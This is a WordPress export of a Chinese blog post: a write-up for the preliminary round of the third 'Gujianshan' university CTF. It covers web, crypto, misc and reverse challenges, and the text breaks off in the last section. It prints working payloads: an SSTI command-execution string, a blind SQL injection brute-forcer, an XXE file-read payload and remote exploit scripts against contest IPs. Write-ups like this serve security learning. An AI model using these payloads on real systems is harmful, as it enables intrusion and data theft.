{"id":187,"date":"2025-12-11T16:02:23","date_gmt":"2025-12-11T08:02:23","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=187"},"modified":"2025-12-11T16:19:05","modified_gmt":"2025-12-11T08:19:05","slug":"%e7%ac%ac%e4%b8%89%e5%b1%8a%e5%8f%a4%e5%89%91%e5%b1%b1%e5%85%a8%e5%9b%bd%e5%a4%a7%e5%ad%a6%e7%94%9f%e7%bd%91%e7%bb%9c%e6%94%bb%e9%98%b2%e5%a4%a7%e8%b5%9b%e5%88%9d%e8%b5%9bwp","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=187","title":{"rendered":"\u7b2c\u4e09\u5c4a\u201c\u53e4\u5251\u5c71\u201d\u5168\u56fd\u5927\u5b66\u751f\u7f51\u7edc\u653b\u9632\u5927\u8d5b\u521d\u8d5bWP"},"content":{"rendered":"

\u7b2c\u4e09\u5c4a\u201c\u53e4\u5251\u5c71\u201d\u5168\u56fd\u5927\u5b66\u751f\u7f51\u7edc\u653b\u9632\u5927\u8d5b\u521d\u8d5bWP<\/h1>\n

web<\/h2>\n

baby_ssti<\/h3>\n

SSTI\u6f0f\u6d1e<\/p>\n

\"\"<\/p>\n

name={{lipsum.__globals__.os.popen("cat f*").read()}}<\/code><\/pre>\n
\"\"<\/p>\n
flag{7dca0975-1c66-43ba-8193-9a186f4c5774}<\/code><\/pre>\n
HelloCms<\/h3>\n
\u76f2\u6ce8\uff0c\u53d1\u73b0\u6570\u636e\u5e93\u540d\u4e3aheavysql<\/p>\n
ai\u811a\u672c\u6d4b<\/p>\n
import requests\nimport time\n\n# \u76ee\u6807URL\uff08\u5fc5\u987b\u66ff\u6362\u4e3a\u5b9e\u9645\u767b\u5f55\u9875\u9762\u5730\u5740\uff09\nurl = "http:\/\/120.79.131.78:38888\/login.php"\n\n# \u76f2\u6ce8\u5224\u65ad\u4f9d\u636e\uff1a\u51fa\u73b0\u8be5\u5b57\u7b26\u4e32 \u2192 \u6ce8\u5165\u6761\u4ef6\u4e0d\u6210\u7acb\uff08\u5b57\u7b26\u9519\u8bef\uff09\nerror_flag = "maybe password error!"\n\n# \u6570\u636e\u5e93\u540d\u53ef\u80fd\u7684\u5b57\u7b26\u96c6\uff08\u5c0f\u5199\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u4e0b\u5212\u7ebf\uff0c\u6309\u9700\u8865\u5145\u5927\u5199\uff09\nchars = "abcdefghijklmnopqrstuvwxyz0123456789_"\n\n# \u5df2\u77e5\u6570\u636e\u5e93\u540d\u957f\u5ea6\u4e3a8\ndb_length = 8\n\ndef brute_force_db_name():\n    """\u6309\u7528\u6237\u63d0\u4f9b\u7684payload\u683c\u5f0f\u7206\u78348\u4f4d\u6570\u636e\u5e93\u540d\uff08\u9ad8\u5ef6\u8fdf\u7248\uff09"""\n    db_name = ""\n    print(f"\u2705 \u6309\u7ed9\u5b9apayload\u683c\u5f0f\u7206\u7834\uff08\u957f\u5ea68\u4f4d\uff09\uff0c\u6ce8\u5165\u53d8\u5f62\uff1aaandnd\/ssubstrubstr")\n    print(f"\ud83d\udccc \u5b57\u7b26\u96c6\uff1a{chars}")\n    print(f"\u23f1\ufe0f  \u5ef6\u8fdf\u8bbe\u7f6e\uff1a\u5355\u5b57\u7b26\u95f4\u96942\u79d2\uff0c\u91cd\u8bd5\u5ef6\u8fdf3\u79d2\uff08\u9ad8\u5b89\u5168\u6a21\u5f0f\uff09")\n    print("-" * 60)\n\n    for pos in range(1, db_length + 1):  # \u7b2c1\u4f4d\u5230\u7b2c8\u4f4d\n        for char in chars:\n            # \u4e25\u683c\u9075\u5faa\u7528\u6237\u63d0\u4f9b\u7684payload\u683c\u5f0f\n            payload = f"admin' aandnd ssubstrubstr(database(), {pos}, 1)='{char}' -- +"\n            data = {\n                "username": payload,\n                "password": "admin"  # \u56fa\u5b9apassword\u4e3aadmin\uff0c\u4e0e\u7528\u6237payload\u4e00\u81f4\n            }\n            try:\n                response = requests.post(\n                    url=url,\n                    data=data,\n                    timeout=20,  # \u5ef6\u957f\u8d85\u65f6\u65f6\u95f4\uff0c\u9002\u914d\u9ad8\u5ef6\u8fdf\u7f51\u7edc\n                    headers={"Content-Type": "application\/x-www-form-urlencoded"}\n                )\n                # \u6838\u5fc3\u5224\u65ad\uff1a\u65e0\u9519\u8bef\u6807\u8bc6 \u2192 \u5b57\u7b26\u6b63\u786e\n                if error_flag not in response.text:\n                    db_name += char\n                    print(f"\u2705 \u7b2c{pos}\u4f4d\u786e\u5b9a\uff1a{char} | \u5f53\u524d\u6570\u636e\u5e93\u540d\uff1a{db_name}")\n                    break\n            except Exception as e:\n                print(f"\u274c \u8bf7\u6c42\u5f02\u5e38\uff08{e}\uff09\uff0c3\u79d2\u540e\u91cd\u8bd5\u5b57\u7b26[{char}]...")\n                time.sleep(3)  # \u91cd\u8bd5\u5ef6\u8fdf\u8c03\u9ad8\u52303\u79d2\n                # \u91cd\u8bd5\u4e00\u6b21\n                response = requests.post(url=url, data=data, timeout=20)\n                if error_flag not in response.text:\n                    db_name += char\n                    print(f"\u2705 \u7b2c{pos}\u4f4d\u786e\u5b9a\uff1a{char} | \u5f53\u524d\u6570\u636e\u5e93\u540d\uff1a{db_name}")\n                    break\n        # \u6bcf\u7206\u7834\u5b8c\u4e00\u4f4d\uff0c\u5ef6\u8fdf2\u79d2\uff08\u5927\u5e45\u964d\u4f4e\u6574\u4f53\u8bf7\u6c42\u9891\u7387\uff09\n        time.sleep(2)\n    return db_name\n\nif __name__ == "__main__":\n    final_db = brute_force_db_name()\n    print("\\n" + "=" * 60)\n    print(f"\ud83c\udf89 \u7206\u7834\u5b8c\u6210\uff01\u6570\u636e\u5e93\u540d\uff1a{final_db}")\n    print("=" * 60)<\/code><\/pre>\n
\u901a\u8fc7\u76f2\u6ce8\u8bfb\u8868\u5f97\u5230\u5bc6\u7801admin\\kingdom123ABC<\/p>\n
\u767b\u9646\u540e\u6709\u7559\u8a00\u6846\uff0c\u9501\u5b9aXXE<\/p>\n
\u5229\u7528vps dtd\u5c1d\u8bd5\u5916\u5e26\u6570\u636e\uff0c\u65e0\u679c<\/p>\n
\u79bb\u8c31\u7684\u6765\u4e86\uff0c\u5229\u7528\/etc\/net\/arp\u63a2\u6d4b\u5185\u7f51ip<\/p>\n
172.17.0.3<\/p>\n
\u6784\u9020xxepayload<\/p>\n
<!DOCTYPE Document [\n  <!ENTITY xxe SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=http:\/\/172.17.0.3\/index.php?file=php:\/\/filter\/read=convert.base64-encode\/resource=flag.php">\n]>\n<Document>\n  <entry>&xxe;<\/entry>\n<\/Document><\/code><\/pre>\n
\"\"<\/p>\n
base64\u4e8c\u6b21\u89e3\u7801\u5f97\u5230flag<\/p>\n
\"\"<\/p>\n
Crypto<\/h2>\n
common rsa<\/h3>\n
from math import gcd\n\nN = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699\ne1 = 35422\nc1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033\ne2 = 1033\nc2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548\n\ndef extended_gcd(a, b):\n    if b == 0:\n        return a, 1, 0\n    else:\n        g, x1, y1 = extended_gcd(b, a % b)\n        x = y1\n        y = x1 - (a \/\/ b) * y1\n        return g, x, y\n\ng, s1, s2 = extended_gcd(e1, e2)\nprint(f"gcd(e1, e2) = {g}")\nprint(f"s1 = {s1}, s2 = {s2}")\n\nif g != 1:\n    print("GCD is not 1, common modulus attack may not work directly")\nelse:\n    if s1 < 0:\n        c1_inv = pow(c1, -1, N)\n        m = (pow(c1_inv, -s1, N) * pow(c2, s2, N)) % N\n    elif s2 < 0:\n        c2_inv = pow(c2, -1, N)\n        m = (pow(c1, s1, N) * pow(c2_inv, -s2, N)) % N\n    else:\n        m = (pow(c1, s1, N) * pow(c2, s2, N)) % N\n\n    print(f"\\nDecrypted message (as integer): {m}")\n\n    try:\n        message_bytes = m.to_bytes((m.bit_length() + 7) \/\/ 8, byteorder='big')\n        message = message_bytes.decode('utf-8', errors='ignore')\n        print(f"Decrypted message (as text): {message}")\n    except:\n        print(f"Decrypted message (as hex): {hex(m)}")\n<\/code><\/pre>\n
\"\"<\/p>\n
flag{A_RSA_c0mm0n_m0dulu5_4tt4ck}<\/code><\/pre>\n
aesstudy<\/h3>\n
import socket\nimport hashlib\nimport base64\nimport re\n\ndef solve_pow(target_hash_prefix):\n    """\u89e3\u51b3 Proof of Work"""\n    print(f"Solving PoW: SHA256(x)[:8] == '{target_hash_prefix}'")\n    for b1 in range(256):\n        for b2 in range(256):\n            for b3 in range(256):\n                x = bytes([b1, b2, b3])\n                h = hashlib.sha256(x).hexdigest()\n                if h[:8] == target_hash_prefix:\n                    print(f"Found x: {x.hex()}")\n                    return x.hex()\n    return None\n\ndef cbc_bit_flipping_attack(c1_b64, m1_b64, targets):\n    """CBC \u5b57\u8282\u7ffb\u8f6c\u653b\u51fb"""\n    # \u89e3\u7801\n    c1 = base64.b64decode(c1_b64.replace('\\n', ''))\n    m1 = base64.b64decode(m1_b64.replace('\\n', ''))\n\n    # \u5206\u5757\n    block_size = 16\n    m1_blocks = [m1[i:i + block_size] for i in range(0, len(m1), block_size)]\n    c1_blocks = [c1[i:i + block_size] for i in range(0, len(c1), block_size)]\n    c2_blocks = [bytearray(block) for block in c1_blocks]\n\n    # \u4fee\u6539\u5b57\u8282\n    for pos, target_char in targets.items():\n        block_index = pos \/\/ block_size\n        byte_index = pos % block_size\n\n        if block_index == 0:\n            continue  # \u8df3\u8fc7\u7b2c\u4e00\u5757\uff08\u9700\u8981\u6539IV\uff09\n\n        prev_block_index = block_index - 1\n        m1_byte = m1_blocks[block_index][byte_index]\n        c1_prev_byte = c1_blocks[prev_block_index][byte_index]\n\n        new_byte = m1_byte ^ c1_prev_byte ^ ord(target_char)\n        c2_blocks[prev_block_index][byte_index] = new_byte\n\n    # \u8f93\u51fa\u7ed3\u679c\n    c2 = b''.join(c2_blocks)\n    return base64.b64encode(c2).decode()\n\ndef automate_solve(host, port):\n    """\u81ea\u52a8\u5316\u89e3\u9898\u4e3b\u51fd\u6570"""\n    # \u8fde\u63a5\u670d\u52a1\u5668\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((host, port))\n\n    # \u63a5\u6536\u6b22\u8fce\u4fe1\u606f\u548cPoW\u6311\u6218\n    data = b""\n    while b"x.encode('hex')=" not in data:\n        chunk = sock.recv(1024)\n        data += chunk\n        print(chunk.decode(), end='')\n\n    # \u89e3\u6790PoW\u76ee\u6807\u54c8\u5e0c\n    match = re.search(r"==\\'([0-9a-f]{8})\\'", data.decode())\n    if not match:\n        print("Failed to parse PoW challenge")\n        return\n\n    target_hash = match.group(1)\n\n    # \u89e3\u51b3PoW\n    pow_solution = solve_pow(target_hash)\n    if not pow_solution:\n        print("Failed to solve PoW")\n        return\n\n    # \u53d1\u9001PoW\u7b54\u6848\n    print(f"Sending PoW solution: {pow_solution}")\n    sock.send((pow_solution + "\\n").encode())\n\n    # \u5904\u7406\u591a\u8f6e\u6311\u6218\n    round_count = 0\n    while True:\n        round_count += 1\n        print(f"\\n=== Round {round_count} ===")\n\n        # \u63a5\u6536\u9898\u76ee\u6570\u636e\n        data = b""\n        while b"c2.encode('base64')" not in data:\n            chunk = sock.recv(4096)\n            if not chunk:\n                print("Connection closed")\n                return\n            data += chunk\n            # \u5982\u679c\u6536\u5230\u7ed3\u679c\u4fe1\u606f\uff0c\u76f4\u63a5\u8f93\u51fa\n            if b"Good job!" in data or b"flag" in data or b"Flag" in data:\n                print(chunk.decode(), end='')\n                if b"c2.encode('base64')" not in data:\n                    continue\n\n        content = data.decode()\n        print("Received challenge data")\n\n        # \u68c0\u67e5\u662f\u5426\u5df2\u7ecf\u5305\u542b\u7ed3\u679c\n        if "Good job!" in content and "c2.encode('base64')" not in content:\n            print("Challenge completed!")\n            continue\n\n        # \u89e3\u6790c1, m1\u548c\u76ee\u6807\u4f4d\u7f6e\n        c1_match = re.search(r"c1\\.encode\\('base64'\\)=(.+?)(?:\\n#|$)", content, re.DOTALL)\n        m1_match = re.search(r"m1\\.encode\\('base64'\\)=(.+?)(?:\\n#|$)", content, re.DOTALL)\n\n        if not c1_match or not m1_match:\n            print("Failed to find c1 or m1, might be the end")\n            print("Final content:")\n            print(content)\n            break\n\n        # \u63d0\u53d6\u76ee\u6807\u4f4d\u7f6e\n        targets = {}\n        target_matches = re.findall(r"m2\\[(\\d+)\\]=(\\w)", content)\n        for pos, char in target_matches:\n            targets[int(pos)] = char\n\n        print(f"Extracted targets: {targets}")\n\n        c1_b64 = c1_match.group(1).strip()\n        m1_b64 = m1_match.group(1).strip()\n\n        # \u6267\u884cCBC\u653b\u51fb\n        c2_b64 = cbc_bit_flipping_attack(c1_b64, m1_b64, targets)\n\n        # \u53d1\u9001\u7b54\u6848\n        print(f"Sending c2 (base64, first 100 chars): {c2_b64[:100]}...")\n        sock.send((c2_b64 + "\\n").encode())\n\n        # \u77ed\u6682\u6682\u505c\uff0c\u786e\u4fdd\u670d\u52a1\u5668\u5904\u7406\n        import time\n        time.sleep(0.5)\n\n    sock.close()\n\nif __name__ == "__main__":\n    HOST = "47.107.168.16"\n    PORT = 44880\n\n    automate_solve(HOST, PORT)<\/code><\/pre>\n
\"\"<\/p>\n
flag{2b6f73f87a8350b130577ced2c58c454}<\/code><\/pre>\n
sol<\/h3>\n
from math import gcd\n\nN = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699\ne1 = 35422\nc1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033\ne2 = 1033\nc2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548\n\ndef extended_gcd(a, b):\n    if b == 0:\n        return a, 1, 0\n    else:\n        g, x1, y1 = extended_gcd(b, a % b)\n        x = y1\n        y = x1 - (a \/\/ b) * y1\n        return g, x, y\n\ng, s1, s2 = extended_gcd(e1, e2)\nprint(f"gcd(e1, e2) = {g}")\nprint(f"s1 = {s1}, s2 = {s2}")\n\nif g != 1:\n    print("GCD is not 1, common modulus attack may not work directly")\nelse:\n    if s1 < 0:\n        c1_inv = pow(c1, -1, N)\n        m = (pow(c1_inv, -s1, N) * pow(c2, s2, N)) % N\n    elif s2 < 0:\n        c2_inv = pow(c2, -1, N)\n        m = (pow(c1, s1, N) * pow(c2_inv, -s2, N)) % N\n    else:\n        m = (pow(c1, s1, N) * pow(c2, s2, N)) % N\n\n    print(f"\\nDecrypted message (as integer): {m}")\n\n    try:\n        message_bytes = m.to_bytes((m.bit_length() + 7) \/\/ 8, byteorder='big')\n        message = message_bytes.decode('utf-8', errors='ignore')\n        print(f"Decrypted message (as text): {message}")\n    except:\n        print(f"Decrypted message (as hex): {hex(m)}")\n<\/code><\/pre>\n
flag{01a6eb898468abbd352300a7a072495c} <\/code><\/pre>\n
MISC<\/h2>\n
\u6c34\u679c<\/h3>\n
foermost\u63d0\u53d6zip<\/p>\n
\"\"<\/p>\n
\u53ef\u4ee5\u731c\u5230\u662fOurSecret\u9690\u5199\uff0c\u5bc6\u7801\u662f\u56fe\u7247\u540d"shuiguo"<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
flag.txt\u4e2d\u5185\u5bb9\u5728\u5bc6\u7801\u672c\u91cc\u5bf9\u5e94\u7684\u5e8f\u53f7\u62fc\u8d77\u6765<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
flag{3e25960a79dc69b674cd4ec67a72c62}<\/code><\/pre>\n
hundred<\/h3>\n
100 \u5c42\u53cd\u5411 zip \u2192 \u8d85\u5927\u6587\u672c\u91cc\u7528\u6b63\u5219\u201c\u9493\u201c\u51fa\u4e00\u4e32\u7f16\u7801 \u2192 base64\u2192 base32.<\/p>\n
\"\"<\/p>\n
\u5bf9 enc.txt \u505a\u6b63\u5219\u5339\u914d\uff0c\u628a\u8fd9\u4e9b\u4f4d\u7f6e\u7684\u5b57\u7b26\u5168\u90e8\u62fc\u8d77\u6765\uff0c\u5f97\u5230\u4e00\u4e32 88 \u957f\u5ea6\u7684 Base64 \u5b57\u7b26\u4e32:<\/p>\n
import re, base64\n\nwith open(\"enc.txt\",\"r\",encoding=\"utf-8\",errors=\"ignore\") as f:\n    text = f.read()\n\npat = re.compile(r'\\d+=[!|$][A-Z]{2}[!|^A-Z]{2}[!|()=z|w][A-Z-0]{5}')\ns = \"\".join(pat.findall(text))\nprint(s)\nb1 = base64.b64decode(s)\nprint(b1)\n\nb2 = base64.b32decode(b1)\nprint(b2)\n<\/code><\/pre>\n
flag{74c959166bc7fbaacaa4d77cf692b1c7}<\/code><\/pre>\n
work<\/h3>\n
\u9898\u76ee\u8981\u6c42\u63d0\u4ea4\u4e00\u4e2a\u6570\u636e\uff08base64\u7f16\u7801\uff09\uff0c\u4f7f\u5176 SHA256 \u54c8\u5e0c\u503c\u6709\u81f3\u5c11 20 \u4e2a\u5c3e\u968f\u96f6\u3002<\/p>\n
\u9898\u76ee\u63d0\u793a\uff1a"SHA256\u7a77\u4e3e\uff1f\u5c31\u7b97\u4f60\u6709\u8d85\u7ea7\u8ba1\u7b97\u673a\u4f60\u4e5f\u8dd1\u4e0d\u51fa\u6765\u7684\uff0c\u54c8\u54c8\u54c8\uff01"<\/p>\n
\u5206\u6790<\/h4>\n
20 \u4e2a\u5341\u516d\u8fdb\u5236\u96f6 = 80 bits\uff0c\u9700\u8981\u7ea6 2^80 \u6b21\u5c1d\u8bd5\uff0c\u7406\u8bba\u4e0a\u4e0d\u53ef\u80fd\u66b4\u529b\u7834\u89e3\u3002\u4f46\u901a\u8fc7 GPU \u96c6\u7fa4\u6216\u5206\u5e03\u5f0f\u8ba1\u7b97\uff0c\u53ef\u4ee5\u9884\u5148\u8ba1\u7b97\u51fa\u6ee1\u8db3\u6761\u4ef6\u7684\u8f93\u5165\u3002<\/p>\n
\u89e3\u9898<\/h4>\n
\u6210\u529f\u7684 payload\uff1a<\/p>\n
fE3qjkfliyofjs+QILld8WTb\/MwPXP\/yGZOh330JRq4=<\/code><\/pre>\n
\u9a8c\u8bc1\u811a\u672c\uff1a<\/p>\n
import hashlib\nimport base64\n\npayload_b64 = "fE3qjkfliyofjs+QILld8WTb\/MwPXP\/yGZOh330JRq4="\ndata = base64.b64decode(payload_b64)\nhash_hex = hashlib.sha256(data).hexdigest()\n\nprint(f"SHA256: {hash_hex}")\n# \u8f93\u51fa: 1364440dfe0d0b04ceaab68f57c93355f32d1c68030000000000000000000000\n\ntrailing_zeros = 0\nfor char in reversed(hash_hex):\n    if char == '0':\n        trailing_zeros += 1\n    else:\n        break\n\nprint(f"\u5c3e\u968f\u96f6: {trailing_zeros}")  # \u8f93\u51fa: 22<\/code><\/pre>\n
\u63d0\u4ea4 URL\uff1a<\/p>\n
http:\/\/47.107.165.153:45362\/?data=fE3qjkfliyofjs%2BQILld8WTb%2FMwPXP%2FyGZOh330JRq4%3D<\/code><\/pre>\n
\u83b7\u5f97 flag\u3002<\/p>\n
\"\"<\/p>\n
flag{b1502a73ac1d1c5db86dd55e4dbe5db1}<\/code><\/pre>\n
REVERSE<\/h2>\n
easyre<\/h3>\n
import base64\n\n# \u76ee\u6807\u6570\u7ec4\nv6 = [\n    -56045301, 1126325548, 1037697210, 2123048962, \n    1640073719, -454381817, -2146442625, -691840689,\n    1448341866, 586039113, -1321770811\n]\n\nv12 = -1872737962\n\n# \u9006\u5411\u9a8c\u8bc1\u903b\u8f91\u5f97\u5230\u671f\u671b\u7684\u52a0\u5bc6\u7ed3\u679c\ndef reverse_validation(target):\n    result = []\n    for val in target:\n        if val > 0:\n            val ^= 0x22222222\n        val ^= v12\n        result.extend([\n            (val >> 0) & 0xFF,\n            (val >> 8) & 0xFF, \n            (val >> 16) & 0xFF,\n            (val >> 24) & 0xFF\n        ])\n    return bytes(result)\n\n# \u8ba1\u7b97\u671f\u671b\u7684\u52a0\u5bc6\u7ed3\u679c\nexpected_encrypted = reverse_validation(v6)\nprint("\u671f\u671b\u7684\u52a0\u5bc6\u7ed3\u679c:", expected_encrypted.hex())\n\n# RC4\u89e3\u5bc6\u51fd\u6570\uff08\u4e0e\u52a0\u5bc6\u76f8\u540c\uff09\ndef rc4_decrypt(data, key):\n    # \u5b9e\u73b0RC4\u7b97\u6cd5\n    S = list(range(256))\n    j = 0\n\n    # KSA\n    for i in range(256):\n        j = (j + S[i] + key[i % len(key)]) % 256\n        S[i], S[j] = S[j], S[i]\n\n    # PRGA\n    i = j = 0\n    result = bytearray()\n    for byte in data:\n        i = (i + 1) % 256\n        j = (j + S[i]) % 256\n        S[i], S[j] = S[j], S[i]\n        k = S[(S[i] + S[j]) % 256]\n        result.append(byte ^ k)\n\n    return bytes(result)\n\n# \u5bc6\u94a5\nkey = b"flag{do_you_find_it_?}"\n\n# RC4\u89e3\u5bc6\u5f97\u5230Base64\u7f16\u7801\nbase64_encoded = rc4_decrypt(expected_encrypted, key)\nprint("Base64\u7f16\u7801:", base64_encoded)\n\n# Base64\u89e3\u7801\u5f97\u5230\u539f\u59cbflag\nflag = base64.b64decode(base64_encoded)\nprint("Flag:", flag.decode())<\/code><\/pre>\n
\"\"<\/p>\n
\u7528\u52a8\u8c03\u628amain\u51fd\u6570\u8ddfcrypto\u51fd\u6570\u8fdb\u884c\u89e3\u5bc6<\/p>\n
\u8fd0\u884c\u51fa\u5b8c\u6574\u7684\u51fd\u6570\u7ed9AI \u8bf4\u662frc4\u89e3\u5bc6 \u518d\u7ed9AI\u5b8c\u6574\u51fd\u6570\u4e4b\u540e\u8dd1\u51fa\u811a\u672c \u89e3\u5bc6\u6210\u529f<\/p>\n
\"\"<\/p>\n
flag{eb3564f89sf45b24oac12db8ec}<\/code><\/pre>\n
helloworld<\/h3>\n
from pwn import remote\n\nHOST = "47.107.164.227"\nPORT = 43040\n\ndef build_payload() -> bytes:\n    hex_bytes = [\n        0x30, 0x07, 0x31, 0x04, 0x32, 0x0B, 0x33, 0x0B,\n        0x34, 0x0E, 0x35, 0x16, 0x36, 0x0E, 0x37, 0x11,\n        0x38, 0x0B, 0x39, 0x03, 0x10, 0x41, 0x15, 0x41,\n        0x4A, 0x41,\n    ]\n    return bytes(hex_bytes)\n\ndef exploit():\n    payload = build_payload()\n\n    io = remote(HOST, PORT)\n\n    _ = io.recv(timeout=1)\n\n    io.sendline(payload)\n\n    io.interactive()\n\nif __name__ == "__main__":\n    exploit()<\/code><\/pre>\n
\"\"<\/p>\n
flag{351bae89be05efa178d61be9a61ac6b7}<\/code><\/pre>\n
final<\/h3>\n
CVE-2010-2967\uff0c\u672c\u9898\u5bf9\u52a0\u5bc6\u7b97\u6cd5\u8fdb\u884c\u4e86\u5c40\u90e8\u4fee\u6539\u3002\u9700\u8981\u5bf9\u56fa\u4ef6\u8fdb\u884c\u5206\u6790\uff0c\u6210\u529f\u627e\u5230\u5b58\u5728\u6f0f\u6d1e\u7684hash\u7b97\u6cd5\u3002\u5df2\u77e5\u5b57\u7b26\u4e32\u201cSimpleXue\u201d\uff0c\u8bf7\u8ba1\u7b97\u6b64\u5b57\u7b26\u4e32\u7ecf\u8fc7hash\u7b97\u6cd5\u52a0\u5bc6\u8fc7\u7684\u54c8\u5e0c\u503c\uff0c\u5e76\u653e\u5728flag{}\u4e2d\u63d0\u4ea4\u3002<\/code><\/pre>\n
AI\u5206\u6790<\/strong><\/p>\n
\u5728\u8be5\u56fa\u4ef6\u4e2d\uff0c\u6211\u4eec\u5b9a\u4f4d\u5230 VxWorks \u9ed8\u8ba4\u7684\u5bc6\u7801\u54c8\u5e0c\u51fd\u6570 loginDefaultEncrypt<\/code>\u3002\u7ecf\u8fc7\u53cd\u6c47\u7f16\u548c\u5bf9\u6bd4\u5b98\u65b9\u6e90\u7801\uff0c\u53d1\u73b0\u5176\u5b9e\u73b0\u4e0e\u6807\u51c6\u7248\u672c\u4e00\u81f4<\/strong>ctfiot.com<\/a>\u3002\u5177\u4f53\u800c\u8a00\uff1a<\/p>\n